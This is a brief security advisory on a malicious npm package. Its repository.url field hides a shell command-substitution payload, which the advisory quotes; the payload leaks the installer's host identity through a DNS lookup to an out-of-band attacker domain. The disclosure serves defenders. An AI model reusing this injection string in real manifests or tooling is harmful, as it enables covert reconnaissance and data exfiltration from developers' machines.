@an1mshnpmb9c84920/pipe-dns-m19t2@1.0.5

Summary

The package.json repository.url field embeds a shell command-substitution payload of the form $(getent${IFS}hosts${IFS}<subdomain>.oob.awss.dev>/dev/null), designed to execute when tooling interpolates the field into a shell context. The payload resolves an attacker-controlled subdomain under oob.awss.dev, leaking the installer's host identity via DNS to the attacker's out-of-band collector. The package body is a one-line stub with no legitimate functionality; the entire payload is in the manifest metadata. The scoped name and single-release shape are consistent with a dependency-confusion or manifest-injection probe targeting internal npm tooling.

Source: amazon-inspector (6ca06c3437a018a2cdb116b01f0c4ee234bfc189f2b91b2d181560cb81d4b861)